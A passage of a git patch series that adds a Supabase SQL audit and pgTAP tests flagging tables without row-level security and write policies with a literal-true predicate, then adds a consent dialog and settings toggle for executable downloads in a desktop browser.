From f74510e295034c3d5cddbdbc64ea4235f1ef243a Mon Sep 17 00:00:00 2001 From: arjun28115 Date: Mon, 14 Sep 2026 09:32:52 +0530 Subject: [PATCH 01/28] test(db): gate the two client-grant shapes that produced #547 three times (#596) * test(db): gate the two client-grant shapes that produced #547 three times `ALTER DEFAULT PRIVILEGES` in 20251023000014_grants.sql hands every later table client grants, and three tables then shipped with a permissive write policy on top of that: plugin_downloads (#488), completed_authentications (#536) and secret_access_log / plugin_api_key_logs (#538). Each was caught by a person reading a migration. identity-disclosure audit. That audit asks who can READ identity. Neither it nor the default-privileges change reaches the shape above: a default-privilege revoke is not retroactive, CHECK 3 filters `cmd in ('SELECT','ALL')` so an INSERT policy is invisible to it, and CHECK 3b filters `not relrowsecurity` while both #538 tables had RLS enabled with a permissive policy. Adds supabase/audit/client_grant_audit.sql with two exact catalog checks: * G1 names any public table a client role can reach without RLS. No allowlist, because all 34 tables in the schema enable RLS today. * G2 names any INSERT/UPDATE/DELETE/ALL policy reachable by anon, authenticated or PUBLIC whose predicate is the literal `true`. G2 keys on the predicate, not on a missing `TO` clause. The missing `TO` is how all three slipped past review, but 101 of the 128 policies in this schema omit it, so gating on that would report most of the schema. Predicate plus write plus client role matches two policies in the whole schema, and both are the ones #538 removes. G2 is asserted as a subset rather than as HEALTHY while those two are still on dev, so the gate passes before and after #538 and still fails on anything new. Co-Authored-By: Claude Opus 5 * fix(db): exclude restrictive policies from write lint * docs(db): state audit limits and cross-suite regression coverage * docs(db): name the exact companion policy assertion --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang --- .gitignore | 1 + scripts/test/prepare-db-access-tests.py | 1 + supabase/audit/client_grant_audit.sql | 117 ++++++++++++++++ supabase/tests/README.md | 26 ++++ supabase/tests/client_grant_audit_test.sql.in | 131 ++++++++++++++++++ 5 files changed, 276 insertions(+) create mode 100644 supabase/audit/client_grant_audit.sql create mode 100644 supabase/tests/client_grant_audit_test.sql.in diff --git a/.gitignore b/.gitignore index 31697f6901..bcc317eb60 100644 --- a/.gitignore +++ b/.gitignore @@ -127,3 +127,4 @@ supabase/tests/.migration-fixtures/ # Generated by scripts/test/prepare-db-access-tests.py supabase/tests/master_key_rotation_test.sql supabase/tests/db_access_audit_test.sql +supabase/tests/client_grant_audit_test.sql diff --git a/scripts/test/prepare-db-access-tests.py b/scripts/test/prepare-db-access-tests.py index 71f6ef5271..1969a7b644 100644 --- a/scripts/test/prepare-db-access-tests.py +++ b/scripts/test/prepare-db-access-tests.py @@ -29,6 +29,7 @@ SUITES = [ ("master_key_rotation", "ops/rotate_master_encryption_key.sql", 5), ("db_access_audit", "audit/identity_disclosure_audit.sql", 4), + ("client_grant_audit", "audit/client_grant_audit.sql", 2), ] root = Path(__file__).resolve().parents[2] diff --git a/supabase/audit/client_grant_audit.sql b/supabase/audit/client_grant_audit.sql new file mode 100644 index 0000000000..c50db20f27 --- /dev/null +++ b/supabase/audit/client_grant_audit.sql @@ -0,0 +1,117 @@ +-- Client-grant audit for schema `public`. Run it against the project and read +-- the `finding` column: HEALTHY means that check passed. Any other value names +-- the object to investigate. G1 checks effective table privileges. G2 is a structural policy lint, not +-- a proof of effective write access: table ACLs and other restrictive policies +-- can still deny a write. Review a reported policy before changing access. +-- +-- This is the companion to identity_disclosure_audit.sql, which asks who can +-- READ identity. This one asks a narrower question that the other deliberately +-- does not: which client roles can WRITE, and whether anything but a policy is +-- stopping them. +-- +-- It exists because of the recurrence tracked in #547. `20251023000014_grants.sql` +-- sets `ALTER DEFAULT PRIVILEGES ... GRANT ALL ON TABLES TO anon, authenticated`, +-- so every table created after it inherits client grants. Three tables then +-- shipped with a permissive write policy on top of that inherited grant: +-- plugin_downloads (#488), completed_authentications (#536) and the pair +-- secret_access_log / plugin_api_key_logs (#538). Each was found by a person +-- reading a migration, three separate times. G2 detects the literal-true shape +-- from #488 and #538, not #536: session_id IS NOT NULL is always true on that +-- table, but is not a literal predicate. Its dedicated suite remains necessary. +-- +-- Scope: G1 checks table-wide privileges, not column-only grants or views. G2 +-- intentionally inspects direct TO anon/authenticated/PUBLIC policies without +-- requiring a table grant, so dormant open policies are caught before regrant. +-- Policies applying only via membership in another role are outside this lint. +-- Neither check proves complete authorization or examines updatable views. +-- +-- 20260908000000_explicit_anon_grants.sql closed the `anon` half of the +-- inheritance for objects created after it. It deliberately left `authenticated` +-- alone, because for tables RLS is the intended gate. That is a reasonable +-- decision, and it is exactly why these two checks are worth having: once RLS is +-- the only thing standing in front of a client role, "RLS is enabled" and "the +-- policy is not a rubber stamp" stop being style points and become the control. +-- +-- Future-default changes in #586/#592 do not revoke existing object grants. +-- Run this after any migration that creates a table or a policy. + +-- --------------------------------------------------------------------------- +-- CHECK G1: no table reachable by a client role is missing RLS. +-- +-- Without RLS the table privilege IS the access decision, and the inherited +-- default grant hands that privilege out silently. CHECK 3b in the identity +-- audit asks a similar question, but only of tables carrying an `email`, +-- `display_name` or `full_name` column, and only as an advisory. Two of the +-- three recurrences above carry no such column, so that filter would have +-- skipped them both. +-- +-- No column filter and no allowlist here. Every one of the 34 tables in `public` +-- enables RLS today, so an empty exception list is the accurate description of +-- the schema rather than an aspiration, and a new table without RLS is a mistake +-- until someone argues otherwise in review. +-- --------------------------------------------------------------------------- +select 'CHECK G1: client-reachable table without RLS' as "check", + coalesce( + nullif(string_agg(distinct c.oid::regclass::text, ', ' order by c.oid::regclass::text), ''), + 'HEALTHY' + ) as finding +from pg_class c +join pg_namespace n on n.oid = c.relnamespace +where n.nspname = 'public' + and c.relkind in ('r', 'p') + and not c.relrowsecurity + and exists ( + select 1 + -- Cast to `name` explicitly. Both has_table_privilege overloads take a role + -- as `name` or as `oid`, and an uncast text variable leaves the choice to + -- type resolution rather than stating it. + from unnest(array['anon', 'authenticated']::name[]) as client(role_name) + where has_table_privilege(client.role_name, c.oid, 'SELECT') + or has_table_privilege(client.role_name, c.oid, 'INSERT') + or has_table_privilege(client.role_name, c.oid, 'UPDATE') + or has_table_privilege(client.role_name, c.oid, 'DELETE') + ) + +union all + +-- --------------------------------------------------------------------------- +-- CHECK G2: no write policy reachable by a client role is a rubber stamp. +-- +-- A PERMISSIVE policy whose predicate is literal `true` can open access. +-- A RESTRICTIVE policy is ANDed with permissive policies, so literal true +-- cannot open a write path and must not be flagged on its own. On SELECT +-- that is sometimes intended, and the identity audit's CHECK 3 already covers +-- the identity-bearing case. On INSERT, UPDATE or DELETE it means any caller +-- holding the role may write any row, which is what produced all three +-- recurrences above. +-- +-- The discriminating signal is the predicate, NOT a missing `TO` clause. A +-- policy with no `TO` applies to PUBLIC, which is how all three slipped past +-- review in #488/#538, but 101 of the 128 policies written in this schema omit `TO`. Gating +-- on that alone would report most of the schema and be switched off within a +-- week. Taken together, "write" plus "client role" plus "literally true" matches +-- two policies in the whole schema and nothing else. +-- +-- `qual` is the USING predicate and `with_check` the WITH CHECK predicate. +-- INSERT policies carry only the latter, DELETE only the former, and UPDATE or +-- ALL may carry both. A permissive WITH CHECK on an otherwise scoped UPDATE +-- still lets a caller rewrite a row it owns into any shape, so either predicate +-- being `true` is enough to report. service_role is not a client role and is +-- excluded by the role filter, so a deliberate `TO service_role WITH CHECK +-- (true)` writer policy is correctly silent here. +-- --------------------------------------------------------------------------- +select 'CHECK G2: permissive write policy for a client role' as "check", + coalesce( + nullif(string_agg(distinct pol.tablename || '.' || pol.policyname, ', ' + order by pol.tablename || '.' || pol.policyname), ''), + 'HEALTHY' + ) as finding +from pg_policies pol +where pol.schemaname = 'public' + and pol.permissive = 'PERMISSIVE' + and pol.cmd in ('INSERT', 'UPDATE', 'DELETE', 'ALL') + and pol.roles && array['anon', 'authenticated', 'public']::name[] + and ( + btrim(lower(coalesce(pol.qual, ''))) in ('true', '(true)') + or btrim(lower(coalesce(pol.with_check, ''))) in ('true', '(true)') + ); diff --git a/supabase/tests/README.md b/supabase/tests/README.md index 7eb8fb5d2a..d7743636a6 100644 --- a/supabase/tests/README.md +++ b/supabase/tests/README.md @@ -17,3 +17,29 @@ The audit's exact ACL checks fail CI. Identity checks 2, 3, 3b and 3c are adviso heuristics: tests prove they detect synthetic ungated readers and tables, but do not assert that all existing identity surfaces have been authorized correctly. Those findings need human review of the actual callers and policies. + +`client_grant_audit.sql` is the companion that asks who can WRITE rather than who +can read. Both checks gate CI. G2 is a structural lint, not proof that a client +can perform a write: table grants and other restrictive policies still apply: + +* **G1** names any `public` table a client role can reach that does not enable + RLS. There is no allowlist, because every table in the schema enables RLS + today. +* **G2** names any PERMISSIVE `INSERT`, `UPDATE`, `DELETE` or `ALL` policy reachable by + `anon`, `authenticated` or PUBLIC whose predicate is the literal `true`. It + keys on the predicate, not on a missing `TO` clause: most policies here omit + `TO`, so that alone would report most of the schema. + +G2 is asserted as a subset rather than as HEALTHY while the two policies #538 +removes are still on `dev`. Once that merges, empty the exception array in +`client_grant_audit_test.sql.in` and the assertion becomes a plain HEALTHY. + +Limits: G1 checks table-wide grants, not column-only grants or views. G2 is +grant-blind and checks direct client/PUBLIC policy roles, not inherited policy +roles. It catches the literal-true shape in #488/#538, not #536's always-true +`session_id IS NOT NULL` predicate. Dedicated table suites remain necessary. + +After #538 lands, its `audit_log_insert_rls_test.sql` independently rejects any +recreated secret_access_log_insert policy and pins the plugin log INSERT policy +to service_role. Recreating either exception name therefore fails that suite; +the subset here allows either merge order without requiring a synchronized edit. diff --git a/supabase/tests/client_grant_audit_test.sql.in b/supabase/tests/client_grant_audit_test.sql.in new file mode 100644 index 0000000000..ec4218b5f1 --- /dev/null +++ b/supabase/tests/client_grant_audit_test.sql.in @@ -0,0 +1,131 @@ +-- Exercise the standing client-grant audit against the real schema, then prove +-- each check detects the shape it exists for and ignores the shapes it must not. +begin; +select plan(11); + +create temporary table grant_snapshot as +\ir ../audit/client_grant_audit.sql + +-- --------------------------------------------------------------------------- +-- Gates on the live schema. +-- --------------------------------------------------------------------------- +select is(finding, 'HEALTHY', "check") from grant_snapshot +where "check" = 'CHECK G1: client-reachable table without RLS'; + +-- G2 is asserted as a subset rather than as HEALTHY, on purpose. The two +-- policies named below are the open bug that #538 removes, and they are still +-- on `dev` at the time of writing. Writing `is(finding, 'HEALTHY')` here would +-- fail today; writing `is(finding, '')` would pass today and then +-- fail the moment #538 merged, which is a landmine for whoever merges it. The +-- subtraction below passes in both states and still fails on anything NEW, so +-- it gates the regression without encoding the bug's lifetime. When #538 lands, +-- the array can be emptied and this becomes a plain HEALTHY assertion. +-- #538 also adds audit_log_insert_rls_test.sql: it rejects the named +-- secret_access_log_insert policy and pins the plugin log policy to service_role. +-- Those gates catch reintroduction under an exception name after #538 lands; +-- asserting stale exceptions here would unnecessarily break that merge order. +select is( + (select coalesce( + nullif( + array_to_string( + array( + select unnest(string_to_array(finding, ', ')) + except + select unnest(array[ + 'plugin_api_key_logs.Service role can insert API key logs', + 'secret_access_log.secret_access_log_insert' + ]) + ), ', '), + ''), + 'HEALTHY') + from grant_snapshot + where "check" = 'CHECK G2: permissive write policy for a client role'), + 'HEALTHY', + 'no permissive client write policy beyond the two #538 removes' +); + +-- --------------------------------------------------------------------------- +-- Detection fixtures. A check that never fires proves nothing, so each check is +-- shown naming a planted violation and staying silent on its near misses. +-- --------------------------------------------------------------------------- + +-- G1: granted to a client role, no RLS. The violation. +create table public.pgtap_grant_no_rls(id int); +grant select on public.pgtap_grant_no_rls to authenticated; + +-- G1 near miss: same grant, RLS on. +create table public.pgtap_grant_with_rls(id int); +alter table public.pgtap_grant_with_rls enable row level security; +grant select on public.pgtap_grant_with_rls to authenticated; + +-- G1 near miss: no RLS, but no client role can reach it either. +create table public.pgtap_grant_unreachable(id int); +revoke all on public.pgtap_grant_unreachable from public, anon, authenticated; + +-- G2: permissive INSERT with no TO clause, which is the shape that applies to +-- PUBLIC and produced all three recurrences. +create table public.pgtap_policy_open_insert(id int); +alter table public.pgtap_policy_open_insert enable row level security; +grant insert on public.pgtap_policy_open_insert to authenticated; +create policy pgtap_open_insert on public.pgtap_policy_open_insert + for insert with check (true); + +-- G2: scoped USING, permissive WITH CHECK on UPDATE. Reachable row, any shape. +create table public.pgtap_policy_open_update(id int, owner uuid); +alter table public.pgtap_policy_open_update enable row level security; +grant update on public.pgtap_policy_open_update to authenticated; +create policy pgtap_open_update on public.pgtap_policy_open_update + for update to authenticated using (owner = auth.uid()) with check (true); + +-- G2 near miss: permissive, but the grantee is not a client role. This is +-- exactly #538's replacement policy and it must stay silent. +create table public.pgtap_policy_service_role(id int); +alter table public.pgtap_policy_service_role enable row level security; +create policy pgtap_service_write on public.pgtap_policy_service_role + for insert to service_role with check (true); + +-- G2 near miss: permissive SELECT. Read exposure is CHECK 3's question. +create table public.pgtap_policy_open_select(id int); +alter table public.pgtap_policy_open_select enable row level security; +grant select on public.pgtap_policy_open_select to authenticated; +create policy pgtap_open_select on public.pgtap_policy_open_select + for select to authenticated using (true); + +-- G2 near miss: a write policy that actually restricts. +create table public.pgtap_policy_scoped_write(id int, owner uuid); +alter table public.pgtap_policy_scoped_write enable row level security; +grant insert on public.pgtap_policy_scoped_write to authenticated; +create policy pgtap_scoped_write on public.pgtap_policy_scoped_write + for insert to authenticated with check (owner = auth.uid()); + +-- A restrictive true predicate cannot open access: it is ANDed with the +-- scoped permissive policy above, and should not make a safe migration fail CI. +create policy pgtap_restrictive_true on public.pgtap_policy_scoped_write + as restrictive for insert to authenticated with check (true); + +create temporary table grant_planted as +\ir ../audit/client_grant_audit.sql + +select ok(finding like '%pgtap_grant_no_rls%', 'G1 names a client-granted table without RLS') +from grant_planted where "check" = 'CHECK G1: client-reachable table without RLS'; +select ok(finding not like '%pgtap_grant_with_rls%', 'G1 ignores the same table once RLS is on') +from grant_planted where "check" = 'CHECK G1: client-reachable table without RLS'; +select ok(finding not like '%pgtap_grant_unreachable%', 'G1 ignores a table no client role can reach') +from grant_planted where "check" = 'CHECK G1: client-reachable table without RLS'; + +select ok(finding like '%pgtap_open_insert%', 'G2 names a permissive INSERT policy with no TO clause') +from grant_planted where "check" = 'CHECK G2: permissive write policy for a client role'; +select ok(finding like '%pgtap_open_update%', 'G2 names a permissive WITH CHECK on a scoped UPDATE') +from grant_planted where "check" = 'CHECK G2: permissive write policy for a client role'; +select ok(finding not like '%pgtap_service_write%', 'G2 ignores a permissive policy scoped to service_role') +from grant_planted where "check" = 'CHECK G2: permissive write policy for a client role'; +select ok(finding not like '%pgtap_open_select%', 'G2 ignores a permissive SELECT policy') +from grant_planted where "check" = 'CHECK G2: permissive write policy for a client role'; +select ok(finding not like '%pgtap_scoped_write%', 'G2 ignores a write policy that restricts') +from grant_planted where "check" = 'CHECK G2: permissive write policy for a client role'; + +select ok(finding not like '%pgtap_restrictive_true%', 'G2 ignores a restrictive true policy') +from grant_planted where "check" = 'CHECK G2: permissive write policy for a client role'; + +select * from finish(); +rollback; From 70b7209ac0827e8f1aef45b2daad7b361a3b338f Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 09:33:13 +0530 Subject: [PATCH 02/28] fix(browser): actually warn before downloading an executable file (#484) * fix(browser): actually warn before downloading an executable file warnForExecutables defaults to true and its KDoc promises a warning before a recognized executable finishes downloading, but the branch that was supposed to show it was an empty TODO block ("for now, just proceed") - so the download always proceeded silently regardless of the setting, for every user, with no way to turn the (nonexistent) warning off since there is no Settings UI for it either. confirmExecutableDownload mirrors pickSaveFile's own pattern exactly, since both are called from the same synchronous StartDownloadCallback and both need a blocking answer before it returns: a Swing confirm dialog run via SwingUtilities.invokeAndWait, failing closed (treated as cancel) if the dialog itself cannot be shown, matching how a null save path from pickSaveFile already cancels the same callback. Declining releases the claimed save path and cancels the download the same way the existing parent-directory-failure bail does, just above it in the same callback. * fix(browser): close executable consent and cancellation gaps * fix(browser): bind download consent to a usable window and explicit choice * feat(browser): add a user-facing toggle for the executable download warning Settings > Browser > Downloads > "Warn before downloading executable files", on by default. BrowserSettings.warnForExecutables is persisted through the existing BrowserSettingsManager JSON store alongside the other browser toggles, and FluckEngine reads it live at download time instead of the unpersisted DownloadSettings copy, so a change applies to the next download without restarting BOSS. Disabling it skips only the executable warning; filename checks, save-path handling and cancellation cleanup are unchanged. Addresses the maintainer's follow-up on #484. * fix(settings): index the executable-download-warning toggle for search SettingsSearchIndexDriftTest failed CI on all three platforms: the new "Warn before downloading executable files" toggle (Settings > Browser > Downloads) had no entry in SettingsSearchIndex, so Settings search could not find it. Added a Downloads group under the FLUCK section, extracted into its own downloadsEntries() helper alongside the existing fileAndLinkEntries() to keep browserEntries() under detekt's LongMethod threshold. * fix(browser): pin the warning toggle's persistence and volatility - BrowserSettingsManager: settingsFile is now an internal var with a reloadForTest() seam (same pattern as DefaultAppsSettingsManager), so the persisted-value tests exercise the real saveSettings/load path instead of re-stating the assignment; covers save+reload round-trips, a file predating the key, and a corrupt file - ExecutableDownloadConsentTest: the live-read test re-implemented the call site, so it now pins the StartDownloadCallback argument textually (SettingsSearchIndexDriftTest idiom) - a revert to the unpersisted downloadSettings copy now fails the build - BrowserSettings.warnForExecutables is @Volatile: written on the Compose UI thread, read on the JxBrowser download callback thread - DownloadSettings.warnForExecutables removed: no reader left it; the live flag is BrowserSettings.warnForExecutables * test(browser): make the persistence tests measure the reload, not the assignment Addressing the second Claude review of 70a4874: - default test asserted process-global state that the test's own @BeforeEach causes to be loaded from the developer's real settings file - it would pass in CI and fail on a machine with the toggle off. It now pins the persisted shape's default; the in-memory direction is carried by the predating-key reload test. - the round-trip test moved the in-memory value away between save and reload, so deleting the load-apply in BrowserSettingsManager now fails it. - the whole persisted shape (all eleven fields, including the four system-property mirrors) is snapshotted in @BeforeEach - after the first access that may trigger the manager's real-file load - and restored in @AfterEach, since reloadForTest() rewrites all of them. - reloadForTest KDoc states the deliberate no-reset divergence from DefaultAppsSettingsManager.resetForTest. * fix(browser): test the download dialog's owner resolution and surface it R1: the dialog-owner resolution (active window, else a fallback, else refuse) was the only new decision in the executable-download warning with no test - the branch that silently cancels a user's download had nothing pinning it. Extracted pickDialogOwner(activeWindow, candidates), mirroring resolveActionableWindowIdFrom's own pure-function split, and added cases covering active-window-wins, non-displayable-active falling back, and no-usable-owner refusing. R2: the fallback resolved exactly one window id and refused outright if it wasn't displayable, even when another registered window was open - reachable in the interval where a window has been disposed but its EDT unregister hasn't run yet. pickDialogOwner now takes an ordered list of candidates and scans all of them; WindowFocusManager. candidateWindowsForDialogOwner() supplies that list (the resolved fallback window first, then every other registered window), covered by a test where the first candidate is stale and a later one is usable. R3: nothing called toFront()/requestFocus() on the resolved owner, so a background BOSS could still show this modal somewhere the operator doesn't see, with the JxBrowser callback thread waiting behind it. Already running on the EDT inside confirmExecutableDownloadOnEdt's own Runnable, so this calls AWT directly rather than needing invokeLater. * fix(review): preserve current release metadata in download consent PR * fix(review): tighten executable consent cleanup and default coverage --------- Co-authored-by: Shivang --- .../tab_types/fluck/DownloadSettings.kt | 6 +- .../ai/rever/boss/platform/FilePicker.kt | 13 ++ .../settings/search/SettingsSearchEntries.kt | 14 ++ .../settings/sections/FluckBrowserSettings.kt | 21 +++ .../ai/rever/boss/platform/FilePicker.kt | 89 +++++++++++ .../plugin/browser/BrowserSettingsConfig.kt | 12 ++ .../plugin/browser/BrowserSettingsManager.kt | 23 ++- .../browser/ExecutableDownloadConsent.kt | 33 ++++ .../rever/boss/plugin/browser/FluckEngine.kt | 25 ++- .../ai/rever/boss/utils/WindowFocusManager.kt | 13 ++ .../platform/ExecutableDownloadDialogTest.kt | 114 ++++++++++++++ .../BrowserSettingsWarnForExecutablesTest.kt | 144 +++++++++++++++++ .../browser/ExecutableDownloadConsentTest.kt | 148 ++++++++++++++++++ 13 files changed, 644 insertions(+), 11 deletions(-) create mode 100644 composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/ExecutableDownloadConsent.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/platform/ExecutableDownloadDialogTest.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsWarnForExecutablesTest.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/ExecutableDownloadConsentTest.kt diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/plugin/tab_types/fluck/DownloadSettings.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/plugin/tab_types/fluck/DownloadSettings.kt index 4917a04371..0928a72e03 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/plugin/tab_types/fluck/DownloadSettings.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/plugin/tab_types/fluck/DownloadSettings.kt @@ -6,13 +6,15 @@ package ai.rever.boss.components.plugin.tab_types.fluck * @property alwaysAskWhereToSave If true, always show save dialog for each download * @property defaultDownloadDirectory Default directory for auto-saving downloads * @property lastUsedDirectory Last directory used for saving (null if never used) - * @property warnForExecutables If true, show warning before downloading executable files + * + * The executable-download warning does not live here: it is `BrowserSettings.warnForExecutables`, + * persisted by `BrowserSettingsManager` and read live at download time. A second, unpersisted + * copy here would be a switch that silently does nothing. */ data class DownloadSettings( val alwaysAskWhereToSave: Boolean = false, val defaultDownloadDirectory: String = getDefaultDownloadsDirectory(), val lastUsedDirectory: String? = null, - val warnForExecutables: Boolean = true, ) /** diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/platform/FilePicker.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/platform/FilePicker.kt index db81598b24..5e4b235eda 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/platform/FilePicker.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/platform/FilePicker.kt @@ -42,3 +42,16 @@ expect fun pickSaveFile( initialDirectory: String? = null, allowedExtensions: List = emptyList(), ): String? + +/** + * Synchronously asks the user to confirm downloading a file recognized as executable + * (see [ai.rever.boss.platform.FileNameSanitizer.isExecutableFile]). Used for the + * download-start handler, which currently waits for consent before answering the + * asynchronous JxBrowser callback, just as [pickSaveFile] waits for a save location. + * + * @param fileName The name of the file being downloaded, shown in the prompt + * @return true if the user chose to proceed, false to cancel the download (including + * when the confirmation dialog itself could not be shown - the safer default for a + * warning that exists to stop an unwanted executable landing on disk) + */ +expect fun confirmExecutableDownload(fileName: String): Boolean diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/settings/search/SettingsSearchEntries.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/settings/search/SettingsSearchEntries.kt index 3b89a33d05..68f8594a79 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/settings/search/SettingsSearchEntries.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/settings/search/SettingsSearchEntries.kt @@ -223,6 +223,19 @@ private fun EntryScope.fileAndLinkEntries() { setting("Reset Link Behavior", "Terminal Links") } +private fun EntryScope.downloadsEntries() { + group("Downloads") + setting( + "Warn before downloading executable files", + "Downloads", + "executable", + "exe", + "download warning", + "malware", + "security", + ) +} + private fun browserEntries() = section(SettingsSection.FLUCK) { group("Default Browser") @@ -253,6 +266,7 @@ private fun browserEntries() = group("User Agent") setting("Browser Identity", "User Agent", "user agent", "ua", "spoof") setting("Custom User Agent String", "User Agent", "ua string") + downloadsEntries() fileAndLinkEntries() group("Secret Manager") setting( diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/settings/sections/FluckBrowserSettings.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/settings/sections/FluckBrowserSettings.kt index ae23003255..1a18d3ef0a 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/settings/sections/FluckBrowserSettings.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/settings/sections/FluckBrowserSettings.kt @@ -193,6 +193,27 @@ fun FluckBrowserSettings() { } } + // Downloads + SettingsSection(title = "Downloads") { + var warnForExecutables by remember { mutableStateOf(BrowserSettings.warnForExecutables) } + + SettingsToggle( + label = "Warn before downloading executable files", + checked = warnForExecutables, + onCheckedChange = { enabled -> + warnForExecutables = enabled + BrowserSettings.warnForExecutables = enabled + coroutineScope.launch { + BrowserSettingsManager.saveSettings() + } + }, + description = + "Ask for confirmation before saving a file with a recognized executable " + + "extension. Filename checks, save location and cancellation still apply " + + "either way.", + ) + } + // Default Browser DefaultBrowserSection() diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/platform/FilePicker.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/platform/FilePicker.kt index 1513a2c343..a6f850d5ac 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/platform/FilePicker.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/platform/FilePicker.kt @@ -1,12 +1,16 @@ package ai.rever.boss.platform +import ai.rever.boss.utils.WindowFocusManager import ai.rever.boss.utils.logging.BossLogger import ai.rever.boss.utils.logging.LogCategory import androidx.compose.runtime.Composable import androidx.compose.runtime.remember import java.awt.FileDialog import java.awt.Frame +import java.awt.KeyboardFocusManager +import java.awt.Window import java.io.File +import javax.swing.JOptionPane import javax.swing.SwingUtilities private val filePickerLogger = BossLogger.forComponent("FilePicker") @@ -129,3 +133,88 @@ actual fun pickSaveFile( return result } + +/** + * Desktop implementation of confirmExecutableDownload using a Swing confirm dialog. + * Runs synchronously on the EDT, same threading requirement as [pickSaveFile]. + */ +actual fun confirmExecutableDownload(fileName: String): Boolean = + confirmExecutableDownloadOnEdt { + // A background download still needs an owner that the operator can raise. + // Without any usable BOSS window, refuse instead of creating an orphan modal. + val activeWindow = KeyboardFocusManager.getCurrentKeyboardFocusManager().activeWindow + val owner = + pickDialogOwner(activeWindow, WindowFocusManager.candidateWindowsForDialogOwner()) + ?: return@confirmExecutableDownloadOnEdt JOptionPane.CLOSED_OPTION + // An owner is not visibility: a modal JDialog blocks input to its owner but does not by + // itself raise BOSS above other applications, so a background download could still show + // this prompt somewhere the operator never sees while the JxBrowser callback thread waits + // behind it. Already on the EDT here (confirmExecutableDownloadOnEdt's own Runnable), so + // this can call AWT directly rather than needing invokeLater the way a cross-thread caller + // (WindowFocusManager.focusWindow) does. + if (!owner.isVisible) owner.isVisible = true + owner.toFront() + owner.requestFocus() + JOptionPane.showOptionDialog( + owner, + "\"$fileName\" may be executable. Only download and run it if you trust its source.", + "Confirm download", + JOptionPane.OK_CANCEL_OPTION, + JOptionPane.WARNING_MESSAGE, + null, + ExecutableDownloadOption.entries.toTypedArray(), + ExecutableDownloadOption.CANCEL, + ) + } + +/** + * Resolution policy behind [confirmExecutableDownload]'s dialog owner, kept pure so the ordering + * can be asserted without live AWT windows (the same reason + * [ai.rever.boss.utils.resolveActionableWindowIdFrom] is split out next to it). + * + * Prefers [activeWindow] - the window actually holding OS focus - over every entry in + * [candidates], which is [WindowFocusManager.candidateWindowsForDialogOwner]'s ordered list in + * production. Each candidate is tried in order rather than only the first: a disposed-but-not-yet- + * unregistered window must not refuse a download while a second, genuinely usable window is open. + * Returns null - refuse rather than orphan a modal - only when nothing offered is displayable. + */ +internal fun pickDialogOwner( + activeWindow: Window?, + candidates: List, +): Window? = (listOfNotNull(activeWindow) + candidates).firstOrNull { it.isDisplayable } + +private enum class ExecutableDownloadOption( + private val label: String, +) { + DOWNLOAD("Download"), + CANCEL("Cancel"), + ; + + override fun toString(): String = label +} + +/** The dialog is injectable so consent, failure and EDT dispatch can be tested without a window. */ +internal fun confirmExecutableDownloadOnEdt(showDialog: () -> Int): Boolean { + var proceed = false + val prompt = + Runnable { + // Custom Swing options return their index. Map through the same entries that + // populated the dialog, so changing their order cannot turn Cancel into consent. + proceed = ExecutableDownloadOption.entries.getOrNull(showDialog()) == ExecutableDownloadOption.DOWNLOAD + } + return try { + if (SwingUtilities.isEventDispatchThread()) { + prompt.run() + } else { + SwingUtilities.invokeAndWait(prompt) + } + proceed + } catch (e: InterruptedException) { + Thread.currentThread().interrupt() + filePickerLogger.warn(LogCategory.FILE, "Executable download warning interrupted", error = e) + false + } catch (e: Exception) { + filePickerLogger.warn(LogCategory.FILE, "Error showing executable download warning", error = e) + false + } +} diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsConfig.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsConfig.kt index 158d211dc2..37f28ad315 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsConfig.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsConfig.kt @@ -67,6 +67,18 @@ object BrowserSettings { System.setProperty(SHOW_SHARE_BUTTON_PROP, value.toString()) } + // Downloads (configurable via Settings > Browser > Downloads). ON by default: BOSS asks + // for consent before saving a file with a recognized executable extension. FluckEngine + // reads this field directly at download time rather than caching a copy, so toggling it + // here takes effect for the next download without an application restart. No system + // property mirror is needed - unlike the toolbar toggles above, the download handler + // lives in the host itself, not in a separately classloaded plugin. @Volatile because the + // write happens on the Compose UI thread and the read on the JxBrowser download callback + // thread, with no happens-before edge between them: the annotation is what makes the + // "applies to the next download" claim safe rather than a race. + @Volatile + var warnForExecutables: Boolean = true + init { // Publish the defaults up front. A Kotlin property initializer does not run through the // custom setter, so without this the properties stay unset until the settings file is diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsManager.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsManager.kt index 4da66e024d..e5bf83f880 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/BrowserSettingsManager.kt +++ 